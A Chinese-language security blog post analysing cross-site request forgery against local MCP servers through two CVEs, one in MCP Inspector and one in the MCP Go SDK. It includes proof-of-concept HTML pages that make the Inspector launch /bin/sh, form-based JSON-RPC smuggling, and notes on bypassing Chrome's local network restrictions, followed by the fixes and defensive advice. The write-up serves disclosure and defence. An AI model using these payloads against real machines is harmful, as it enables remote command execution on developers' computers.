传统 CSRF 的攻击目标通常是 Web 业务接口:攻击者诱导用户打开页面,由浏览器携带已有登录态去发起一笔非预期请求。MCP 进入本机和内网开发环境之后,这个跨站请求伪造模型没有消失,只是目标从“业务接口”变成了“工具调用入口”,客户端多出了 MCP Server 等工具暴露出来的端口,无疑扩宽了攻击面。

在未授权或授权边界过宽的 MCP 服务中,跨站页面可以尝试调用暴露在本机、内网或远程地址上的 MCP HTTP 接口。如果接口没有校验调用方身份或来源,那么MCP服务端的工具调用能力就可能被浏览器侧请求触发,这也对应着OWASP MCP Top 10 里 MCP07: Insufficient Authentication & Authorization。

可能哪天你在浏览某些个人网站的技术博客,或者让大模型控制浏览器帮你爬取网页,而你电脑上刚好开着一些MCP Server(如之前的IDA-PRO-MCP CVE-2025-67117),这时候你的电脑可能就被悄悄控制。

本文通过两个比较典型的案例进行演示,一个是 MCP Inspector,本地调试工具在跨站请求下变成了 command launcher;另一个是 MCP Go SDK,Streamable HTTP 入口没有把浏览器跨站 POST 当成危险请求。

Antropic MCP Inspector

CVE-2025-49596 漏洞版本:@modelcontextprotocol/inspector <= 0.14.0
MCP Inspector是一款用于测试和调试 MCP 服务器的工具,有点类似
PostMan,提供了WEB UI页面。

问题出在
server/build/index.js,cors() 默认会允许任意 Origin,且这里没有认证中间件。

const app = express();
app.use(cors());

​

stdio是 Inspector(MCP Client)与MCP Server的一种通信方式(其他两种是SSE、Streamable HTTP),能够直接启动一个本地进程,然后通过这个进程的 stdin 发请求,通过 stdout 收响应(没错就是HTTP请求)。通过控制 command/args,就能够让恶意网页实现跨站请求RCE。
整个过程为:
宽 CORS -> 无鉴权 -> query 控制 stdio command -> Inspector 启动本地进程
/stdio接口会调用到createTransport,解析如下请求参数

恶意网页如下:

<!doctype html>
<meta charset="utf-8">
<pre id="out"></pre>
<script>
const params = new URLSearchParams({
  transportType: "stdio",
  command: "/bin/sh",
  args: "-c 'touch /tmp/pwned'"
});
const source = new EventSource(`http://127.0.0.1:24959/stdio?${params}`);
source.onopen = () => {out.textContent += "opened cross-origin SSE\n";source.close();};
</script>

Chrome LNA Restriction

现在你兴冲冲地把网页挂到自己的VPS上,然后自己在浏览器手动打开这个网页,却发现控制台报错
Access to resource at 'http://127.0.0.1:24959/stdio?transportType=stdio&command=%2Fbin%2Fsh&args=-c+%27touch+%2Ftmp%2Fpwned%27' from origin 'http://ip:port' has been blocked by CORS policy: The request client is not a secure context and the resource is in more-private address space
直接在导航栏访问这个GET请求,返回头确实有
Access-Control-Allow-Origin: *,哪里还能出错呢?
Chrome把网络地址分成了三类:

  • loopback 回环地址:localhost/127.0.0.1
  • local 内网地址:192.168.x.x / 10.x.x.x / 172.16.x.x - 172.31.x.x / 169.254.x.x
  • public 公网地址

如果请求目标的地址空间,比页面所在的地址空间“更私有”,那这就是一次 Local Network Access 请求。
私有程度:
loopback > local > public
对于一次 LNA 请求,要求发起方是
secure context,且要求用户先向网站授予权限(弹窗提示),然后才能发出此类请求。
这个特性在Chrome 142 版本引入(
https://chromestatus.com/feature/5152728072060928),为了防止“公网网页”随意探测用户的本地网络,可以降低针对本地网络设备的跨站请求伪造攻击风险。
但目前好像只限制了public -> local的,没有限制local -> loopback的。
这里换成 HTTPS 服务就成功触发了。(很神奇居然没有弹窗提示是否允许访问)
由于这个是GET请求,尝试直接用
img标签去加载也能成功

<img src="http://127.0.0.1:24959/stdio?transportType=stdio&command=%2Fbin%2Fsh&args=-c+%27touch+%2Ftmp%2Fpwned%27">

修复

0.14.1版本通过引入中间件的方式增加了两层防御

  • originValidationMiddleware:Origin白名单阻断浏览器CSRF,Inspector所属域才能访问
  • authMiddleware:接口访问需要带上Inspector启动时生成的随机token



前端会带上
MCP_PROXY_AUTH_TOKEN作为请求头X-MCP-Proxy-Auth的值

const getMCPProxyAuthToken = (config2) => {
  return {
    token: config2.MCP_PROXY_AUTH_TOKEN.value,
    header: "X-MCP-Proxy-Auth"
  };
};

MCP Go SDK

CVE-2026-33252 漏洞版本:github.com/modelcontextprotocol/go-sdk <= 1.4.0
这是 Go 生态下用于构建 MCP 客户端和服务器的 SDK,类似 Python 生态下的 FastMCP
mcp/streamable.go:229-320 的 ServeHTTP() 有 DNS rebinding 保护和 Accept 校验,但没有检查 Origin`,也没有要求浏览器跨站 POST 必须带受保护的认证上下文。

DNS Rebinding Attack

为什么需要防DNS Rebinding呢?本地服务不能只因为自己监听在 127.0.0.1,就假设请求一定来自可信的本机程序。
攻击场景大概是这样:

  1. 用户访问攻击者网站:http://attacker.example
  2. 第一次 DNS 解析时,attacker.example 指向攻击者服务器,所以浏览器正常加载恶意页面。
  3. 之后攻击者让 DNS 记录变成 127.0.0.1。
  4. 浏览器仍认为自己在访问同一个站点 attacker.example,但网络连接实际打到了用户本机的 127.0.0.1。
  5. 如果本机 MCP server 没有检查 Host / Origin,恶意网页就可能调用本地 MCP 工具。


如果服务器实际接收连接的地址是回环地址,但请求头Host不是回环地址,那么就可能受到DNS Rebinding攻击,返回403。

CORS Preflight

mcp/streamable.go:1049-1069 的 servePOST() 直接读取 request body 并交给 readBatch(body) 解析 JSON-RPC。这里没有校验 Content-Type 是否为 application/json。

这意味着浏览器可用 simple request 发送
text/plain POST,避免 CORS preflight,但 body 仍会被当作 JSON-RPC 处理。
CORS 只是影响浏览器接收返回包,只要没有触发CORS preflight发送OPTIONS预检,我们的请求包能够正常发出即可(不被预检拦截),没有回显也无所谓。
不会触发
CORS preflight 的 CORS 请求大体满足这些条件:

  1. 方法只能是:
GET
HEAD
POST
  1. 不能带非 safelisted 自定义请求头。常见允许的手动请求头只有:
Accept
Accept-Language
Content-Language
Content-Type
Range
  1. 如果设置了 Content-Type,它的 MIME essence 只能是:
application/x-www-form-urlencoded
multipart/form-data
text/plain

失败的尝试

尝试下面PoC:

<!doctype html>
<meta charset="utf-8">
<script>
fetch("http://127.0.0.1:23352", {
  method: "POST",
  mode: "no-cors",
  headers: {"Content-Type": "text/plain"},
  body: JSON.stringify({
    jsonrpc: "2.0",
    id: 1,
    method: "tools/call",
    params: {name: "write_note", arguments: {note: "test"}}
  })
});
</script>

这次就被 LNA 拦住了

目前看来异步请求好像都会被拦截,不管是GET还是POST,比如下面的beacon请求也会被拦

<script>  
    const payload = {  
        jsonrpc: "2.0",  
        id: 1,  
        method: "tools/call",  
        params: {  
            name: "write_note",  
            arguments: {  
                note: "test",  
            },  
        },  
    };  
    navigator.sendBeacon(  
        "http://127.0.0.1:23352/mcp",  
        new Blob([JSON.stringify(payload)], { type: "text/plain" })  
    );  
</script>
<!-- GET请求也被拦 -->
<script>  
    fetch("http://127.0.0.1:8081/test", {  
        method: "GET"  
    });  
</script>

测试发现表单请求不会被拦截,这里需要构造JSON数据,表单键值对组合后得到{..."test":"=test"}

<html>  
<body>  
<form id="test" enctype="text/plain" action="http://127.0.0.1:8081" method="post">  
    <input name='{"jsonrpc":"2.0","id": 1,"method": "tools/call","params": {"name": "write_note", "arguments": {"note": "hh"}},"test":"' value='test"}'>  
</form>  
<script type="text/javascript">  
    document.getElementById("test").submit();  
</script>  
</body>  
</html>

请求成功发出去了,但却报错了Accept must contain both 'application/json' and 'text/event-stream',原因就出在Accept请求头解析
这里的Accept请求头解析很粗糙,没有解析
;q=0.x这种内容协商权重参数。

accept := strings.Split(strings.Join(req.Header.Values("Accept"), ","), ",")
var jsonOK, streamOK bool
for _, c := range accept {
    switch strings.TrimSpace(c) {
    case "application/json", "application/*":
        jsonOK = true
    case "text/event-stream", "text/*":
        streamOK = true
    case "*/*":
        jsonOK = true
        streamOK = true
    }
}

if req.Method == http.MethodGet {
    if !streamOK {
        http.Error(w, "Accept must contain 'text/event-stream' for GET requests", http.StatusBadRequest)
        return
    }
} else if (!jsonOK || !streamOK) && req.Method != http.MethodDelete {
    http.Error(w, "Accept must contain both 'application/json' and 'text/event-stream'", http.StatusBadRequest)
    return
}

再看看发送表单自带的Accept头,*/*;q=0.8,没有完全匹配上*/*

Accept:
text/html,
application/xhtml+xml,
application/xml;q=0.9,
image/avif,
image/webp,
image/apng,
*/*;q=0.8,
application/signed-exchange;v=b3;q=0.7

HTML 表单提交默认是一次 导航请求。浏览器预期服务端会返回一个新页面,所以它的 Accept 更像地址栏打开网页时的请求。优先想要 HTML/XHTML/XML 页面,也能接受图片、其他类型等。而 fetch 表示“脚本发起的资源请求”,调用方通常自己决定怎么解析响应,所以浏览器给一个很宽泛的默认值*/*
所以目前最新版 Chrome 上貌似很难复现这个漏洞,Accept头解析的不全面导致了“无心插柳柳成荫”的防御效果。

修复

增加了CrossOriginProtection对来源的检测

Go 1.25 在标准库中引入了一个新的中间件
http.CrossOriginProtection
该中间件通过检查请求中的 
Sec-Fetch-Site 和 Origin 头来判断请求来源。它会自动拒绝来自非同源的非安全请求(如 POST、PUT),并返回 403 Forbidden

Sec-Fetch-Site头需要为same-origin或none,如果没有该请求头,则转向检测Origin判断其和Host头是否一致

另外还检测了
Content-Type需要为application/json。后面的版本终于正确解析Accept头中的分号了

总结与防御

从这两个案例可以总结出很多 MCP 服务器的通病:

  • 把本机地址或内网地址当成可信边界,认为服务只监听在 127.0.0.1 就不会被浏览器跨站触达。
  • 控制面接口缺少认证,没有绑定具体 MCP client 身份。

Chrome 近年在推进 Local Network Access / Private Network Access 这类浏览器侧安全机制,用来限制公网页面对本机和内网资源的访问,一定程度上缓解了这类CSRF问题,根本上还是得在服务端校验客户端的身份和来源。

  • 认证先行:MCP HTTP Endpoint应该要求强随机 Token 或标准 OAuth/OIDC 授权上下文,不能只依赖网络位置。
  • 来源校验:对请求校验 Origin / Sec-Fetch-Site,做好 Host / DNS rebinding 防护,非可信来源默认拒绝。
  • 收窄CORS:控制面接口不要使用宽泛的 Access-Control-Allow-Origin: *,只允许明确的受信 MCP client 来源。